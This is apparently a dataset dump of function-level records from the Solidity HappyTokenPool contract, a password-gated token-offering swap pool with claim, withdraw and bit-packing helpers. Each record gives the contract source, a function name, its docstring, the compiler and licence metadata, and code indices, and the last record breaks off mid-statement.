unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
unbox
function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } }
/** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 22227, 22568 ] }
12,427
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
validRange
function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } }
/** * size data size * data data * validRange() checks if the given data is over the specified data size **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 22729, 22968 ] }
12,428
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = 